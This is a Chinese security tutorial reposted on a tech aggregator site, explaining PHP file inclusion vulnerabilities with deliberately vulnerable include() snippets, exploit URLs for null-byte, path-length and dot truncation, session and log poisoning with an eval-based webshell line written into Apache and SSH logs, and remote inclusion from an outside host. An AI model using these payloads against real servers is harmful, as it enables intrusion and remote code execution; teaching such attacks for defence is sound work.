IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> 文件包含漏洞(一) -> 正文阅读

[系统运维]文件包含漏洞(一)

文件包含漏洞

文件包含函数的参数没有经过过滤或者没有严格的定义,并且参数可以被用户控制,这样就可能会包含非预期的文件。如果被包含的文件中存在恶意代码,无论文件是什么类型,文件中的恶意代码就会被解析执行。
文件包含漏洞可能会造成服务器的网页被篡改,网站被挂马,服务器被远程控制,被安装后门。

常见的文件包含函数

一个文件可以通过文件包含函数加载另一个文件,提高开发效率
1.include()
包含并运行指定的文件,运行出错会产生警告(E-WARNING),脚本继续执行
2.include_include_once()
脚本执行期间包含并运行指定的文件。它与include的区别:使用该函数时,PHP会检查指定文件是否已经被包含过,如果是,就不会再次包含
3.require()
包含并运行指定文件,出错时产生(E_COMPILE_ERROR)级别错误,脚本中止运行
4.require_once()
require()相同,区别:使用该函数时,PHP会检查指定文件是否已经被包含过,如果是,就不会再次包含

一段简单的漏洞代码

<?php
	$filename=$_GET['filename'];
	include($filename);
?>

无限制本地文件包含

代码没有为包含文件指定特定的前缀或者.php .html等拓展名,攻击者可以读取操作系统的其他文件,获取敏感信息,执行恶意代码
敏感文件
1.windows

c:\boot.ini          系统版本信息
c:\xxx\php.ini       PHP配置
c:\xxx\my.ini        MySQL配置
c:\xxx\httpd.conf    apache配置

2.Linux

/etx/passwd                   linux账号
/etc/httpd/conf/httpd.conf    apache配置
/etc/my.conf                  MySQL配置
/usr/etc/php.ini              PHP配置
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 

利用

可以配合文件上传漏洞

http://xxxxxxxxx?file=图片马路径

在这里插入图片描述

有限制的文件包含

代码中为包含文件指定了特定的前缀或者.php .html 等拓展名,攻击者需要绕过前缀或者拓展名过滤,才能读取执行其他文件。常见的绕过方式:%00截断,路径长度截断,点号截断。

%00截断

条件:
1.magic_quotes_gpc=off
2.PHP版本低于5.3.4

简单漏洞代码

<?php
	$filename=$_GET['filename'];
	include($filename.".html");
?>

进行漏洞利用

http://xxxxxxxx.php?filename=./././././././././././boot.ini%00

利用%00截断.html的拓展名,读取到boot.ini的内容

路径长度截断文件包含

操作系统存在最大路径长度的限制,可以输入超过最大路径长度的目录,系统就会将多余的路径丢弃,实现截断。
1.条件
Windows下的文件最大路径长度为256B
Linux下的最大文件路径长度为4096B
2.简单漏洞代码

<?php
	$filename=$_GET['filename'];
	include($filename.".html");
?>
http://xxxxxxxx.php?filename=test.txt/./././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/././././././

成功截断.html的后缀名

点号截断文件包含

适用于Windows系统,点号长度大于256B时造成文件截断

简单漏洞代码

<?php
	$filename=$_GET['filename'];
	include($filename.".html");
?>
http://xxxxxxxx.php?filename=test.txt................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

可以实现截断

Session文件包含

当可以获取session文件的路径并且session的文件内容可控时,就可以通过包含session文件进行攻击 。

利用条件:
1.session的存储位置可以获取
2.session内容可控

session存储位置的获取
1.phpinfo信息
在这里插入图片描述
session.save_path保存session的存储位置
2.根据默认位置进行猜测
linux中默认在/var/lib/php/session
在这里插入图片描述
漏洞代码

<?php
session_start();
$name=$_GET['name'];
$session['username']=$name;
?>

漏洞分析
1.参数值通过GET传入session
2.找到session的存储位置/var/lib/php/session
3.当访问http://xxxxxxx.php?name=name,会在/var/lib/php/session中将name传递给session
4.session的文件名以sess_开头,后跟SessionidSessionid可以有开发者模式获取
在这里插入图片描述
PHPSESSID:"95tt859t7dqdbansnjb0ejk8h2"
session的文件名为sess_95tt859t7dqdbansnjb0ejk8h2
在服务器下的/var/lib/php/session查看这个文件
在这里插入图片描述

漏洞利用
1.name传入的值会存储到session文件中
2.将恶意代码写入session中,通过文件包含来执行恶意代码

http://xxxxxxx.php?name=<?php phpinfo(); ?>
将恶意代码传入session
http://xhttp://xxxxxx.php?filename=/var/lib/php/session/sess_wsfhdy6544vkcac
文件包含来执行代码

日志文件包含

服务器的中间件,ssh等服务都有记录日志的功能。如果开启记录日志的功能,用户访问的日志就会存储到不同服务的相关文件中 。如果日志文件的位置是默认位置或者可以获得,就可以通过访问日志将恶意代码写入日志文件中,再通过文件包含漏洞执行恶意代码,进而控制服务器。典型的日志文件包含:中间件日志包含 SSH日志包含
中间件日志文件包含
1.将恶意代码写入日志文件
例如Linux下的apache日志文件路径/var/log/httpd/access_log
在这里插入图片描述
日志文件会记录IP,访问时间,访问路径,状态码等。可以利用记录访问路径的功能将恶意代码写入。

http://xxx.xxx.xxx.xxx/<?php @eval($_POST['webshell']); ?>

在这里插入图片描述

在这里插入图片描述
经过了URL编码
抓包修改一下即可
在这里插入图片描述
在这里插入图片描述
然后进行文件包含,执行恶意代码

http://xxx.xxx.xxx.xxx/xxx.php?filename=../../../../../../../../../../../var/log/httpd/access_log

SSH日志文件包含
漏洞利用条件 :
1.SSH日志路径已知
2.有可读权限

Ubuntu下的默认路径/var/log/auth.log

将恶意代码写入
SSH服务如果开启了日志记录功能,会将ssh的连接日志记录到SSH日志文件。将连接的用户名设置为恶意代码

ssh "<?php @eval(\$-POST['webshell']);?>"@127.0.0.1

查看日志文件
在这里插入图片描述
进行文件包含

http://xxx.xxx.xxx.xxx/xxx.php?filename=../../../../../../../../../../../var/log/auth.log

执行恶意代码

远程文件包含

无限制远程文件包含

包含的文件位置不在本地服务器,而是通过URL形式包含其他服务器的文件,执行其中代码

利用条件
1.allow_url_fopen=on
2.allow_url_include=on

漏洞代码

<?php
	$filename=$_GET['filename'];
	include($filename.".html");
?>

远端服务器上的b.txt文件有<?php phpinfo();?>
文件包含

http://xxx.xxx.xxx.xxx.php?filename=http://aaa.aaa.aaa.aaa/b.txt
  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2021-08-01 14:51:53  更:2021-08-01 14:52:55 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 0:33:17-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码